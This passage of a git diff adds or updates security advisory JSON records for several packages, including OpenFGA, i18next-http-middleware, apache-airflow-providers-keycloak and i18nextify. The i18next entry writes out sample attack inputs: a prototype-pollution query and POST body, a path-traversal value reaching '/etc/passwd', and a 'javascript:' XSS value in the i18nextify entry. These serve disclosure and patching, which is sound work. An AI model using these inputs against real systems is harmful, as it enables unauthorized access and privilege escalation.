+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Maven",
+ "name": "io.openremote:openremote-manager"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.22.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/openremote/openremote"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/openremote/openremote/releases/tag/1.22.1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T14:38:23Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-57j5-qwp2-vqp6/GHSA-57j5-qwp2-vqp6.json b/advisories/github-reviewed/2026/04/GHSA-57j5-qwp2-vqp6/GHSA-57j5-qwp2-vqp6.json
new file mode 100644
index 0000000000000..8b5294c796a10
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-57j5-qwp2-vqp6/GHSA-57j5-qwp2-vqp6.json
@@ -0,0 +1,66 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-57j5-qwp2-vqp6",
+ "modified": "2026-04-22T19:43:36Z",
+ "published": "2026-04-22T19:43:36Z",
+ "aliases": [
+ "CVE-2026-41131"
+ ],
+ "summary": "OpenFGA has Improper Policy Enforcement",
+ "details": "### Description\nIn OpenFGA, in specific scenarios, models using conditions with caching enabled can result in two different check requests producing the same cache key. This could result in OpenFGA reusing an earlier cached result for a subsequent request.\n\n### Am I Affected?\nUsers are affected if their applications meet the following preconditions:\n\n* The model has relations which rely on condition evaluation.\n* Caching is enabled.\n\n### Fix\nUpgrade to OpenFGA v1.14.1.\n\n### Acknowledgement\nOpenFGA would like to thank @bugbunny-research for the detailed report.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/openfga/openfga"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.14.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/openfga/openfga/security/advisories/GHSA-57j5-qwp2-vqp6"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41131"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/openfga/openfga"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/openfga/openfga/releases/tag/v1.14.1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-863",
+ "CWE-706"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T19:43:36Z",
+ "nvd_published_at": "2026-04-22T00:16:29Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-5fgg-jcpf-8jjw/GHSA-5fgg-jcpf-8jjw.json b/advisories/github-reviewed/2026/04/GHSA-5fgg-jcpf-8jjw/GHSA-5fgg-jcpf-8jjw.json
new file mode 100644
index 0000000000000..48f9243ac4942
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-5fgg-jcpf-8jjw/GHSA-5fgg-jcpf-8jjw.json
@@ -0,0 +1,60 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5fgg-jcpf-8jjw",
+ "modified": "2026-04-22T17:40:47Z",
+ "published": "2026-04-22T17:40:47Z",
+ "aliases": [],
+ "summary": "i18next-http-middleware: Prototype pollution and path traversal via user-controlled language and namespace parameters",
+ "details": "### Summary\n\nVersions of `i18next-http-middleware` prior to 3.9.3 pass user-controlled `lng` and `ns` parameters to two internal paths that use them in ways that enable prototype pollution and, depending on the configured backend, path traversal or SSRF.\n\nThe vulnerable entry points are unauthenticated HTTP handlers that are part of the middleware's public API:\n\n- `getResourcesHandler` — reads `lng`/`ns` from query parameters or route params and passes them unvalidated to:\n - `utils.setPath(resources, [lng, ns], ...)` — the `setPath` helper did not guard against `__proto__`, `constructor`, or `prototype` keys, writing into `Object.prototype` when those values were supplied.\n - `i18next.services.backendConnector.load(languages, namespaces, ...)` — depending on the configured backend, unvalidated path segments enabled filesystem path traversal (e.g. with `i18next-fs-backend`) or SSRF (e.g. with `i18next-http-backend`).\n - A `namespaces.forEach(ns => i18next.options.ns.push(ns))` loop additionally performed permanent, unbounded growth of the shared singleton namespace list.\n- `missingKeyHandler` — iterated the incoming request body with `for...in`, which traverses inherited prototype-chain properties. A POST body like `{\"__proto__\": {\"isAdmin\": true}}` was forwarded into `saveMissing`.\n\n### Impact\n\n- **Prototype pollution** — a single unauthenticated request of the form `GET /locales/resources.json?lng=__proto__&ns=isAdmin` writes into `Object.prototype`, affecting every plain object created subsequently in the Node.js process. This can break authorization checks (`if (user.isAdmin)`), cause denial of service via type confusion, or be chained into RCE depending on what downstream code reads from polluted objects.\n- **Path traversal / SSRF** — with filesystem or HTTP backends that interpolate `lng`/`ns` into paths or URLs, attacker-controlled values like `ns=../../etc/passwd` or `lng=internal-service` could reach resources outside the intended scope.\n- **Denial of service** — the unbounded `i18next.options.ns` growth, plus repeated backend load calls, enabled memory and CPU exhaustion from unique namespace payloads.\n\n### Affected versions\n\n`< 3.9.3`.\n\n### Patch\n\nFixed in **3.9.3**. The patch:\n\n1. Blocks `__proto__`, `constructor`, and `prototype` keys in `utils.setPath`.\n2. Replaces the `for...in` body iteration in `missingKeyHandler` with `Object.keys()` plus an explicit dangerous-keys guard.\n3. Introduces a `utils.isSafeIdentifier` helper (denylist approach — still permits any legitimate i18next language code shape) that filters `lng`/`ns` values for path-traversal, path separators, control characters, prototype keys, and over-long inputs before they reach the backend connector and before they are pushed into `i18next.options.ns`.\n\n### Workarounds\n\nNo workaround short of upgrading. Front-proxying the middleware with a WAF rule that rejects requests containing `__proto__`, `constructor`, `prototype`, `..`, or control characters in `lng`/`ns` query parameters or body keys is a partial mitigation.\n\n### Credits\n\nDiscovered via an internal security audit of the i18next ecosystem.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "i18next-http-middleware"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "3.9.3"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-5fgg-jcpf-8jjw"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/i18next/i18next-http-middleware"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.i18next.com/how-to/faq#how-should-the-language-codes-be-formatted"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1321",
+ "CWE-22"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T17:40:47Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json b/advisories/github-reviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json
similarity index 67%
rename from advisories/unreviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json
rename to advisories/github-reviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json
index 567517d35a263..3248d96b4d506 100644
--- a/advisories/unreviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json
+++ b/advisories/github-reviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-5w6h-pjw6-wvc6",
- "modified": "2026-04-20T18:31:46Z",
+ "modified": "2026-04-22T17:36:41Z",
"published": "2026-04-18T15:34:15Z",
"aliases": [
"CVE-2026-40948"
],
+ "summary": "apache-airflow-providers-keycloak: Missing OAuth 2.0 State and PKCE Enables Login CSRF and Session Fixation",
"details": "The Keycloak authentication manager in `apache-airflow-providers-keycloak` did not generate or validate the OAuth 2.0 `state` parameter on the login / login-callback flow, and did not use PKCE. An attacker with a Keycloak account in the same realm could deliver a crafted callback URL to a victim's browser and cause the victim to be logged into the attacker's Airflow session (login-CSRF / session fixation), where any credentials the victim subsequently stored in Airflow Connections would be harvestable by the attacker. Users are advised to upgrade `apache-airflow-providers-keycloak` to 0.7.0 or later.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "PyPI",
+ "name": "apache-airflow-providers-keycloak"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0.0.1"
+ },
+ {
+ "fixed": "0.7.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -23,6 +44,10 @@
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/64114"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/apache/airflow"
+ },
{
"type": "WEB",
"url": "https://lists.apache.org/thread/kc0odpr70hbqhdb9ksnz42fkqz2xld9q"
@@ -37,8 +62,8 @@
"CWE-352"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T17:36:41Z",
"nvd_published_at": "2026-04-18T14:16:10Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-6457-mxpq-4fqq/GHSA-6457-mxpq-4fqq.json b/advisories/github-reviewed/2026/04/GHSA-6457-mxpq-4fqq/GHSA-6457-mxpq-4fqq.json
new file mode 100644
index 0000000000000..fad312fb6215e
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-6457-mxpq-4fqq/GHSA-6457-mxpq-4fqq.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-6457-mxpq-4fqq",
+ "modified": "2026-04-22T17:42:24Z",
+ "published": "2026-04-22T17:42:24Z",
+ "aliases": [],
+ "summary": "i18nextify has DOM XSS via javascript:/data: URL schemes in translated href/src attributes",
+ "details": "### Summary\n\nVersions of `i18nextify` prior to 4.0.8 substitute `{{key}}` interpolation tokens inside `src` and `href` attribute values with the raw string returned by `i18next.t()`. The substitution logic in `src/localize.js` (`replaceInside` handler around line 122) only guards against a duplicated `http://` origin prefix — it does not validate the URL scheme of the substituted value. A translated value such as `javascript:alert(1)` or `data:text/html,` is applied unchanged to the live DOM attribute.\n\n### Impact\n\nWhen an attacker can influence the content of a translation file or the translation-backend response — compromised translation CDN, user-contributed locales, MITM on a plain-HTTP backend, write access to the translation JSON — they can:\n\n- Set any `href` on an anchor to a `javascript:` URI, executing arbitrary JavaScript when the victim clicks the link.\n- Set any `src` on `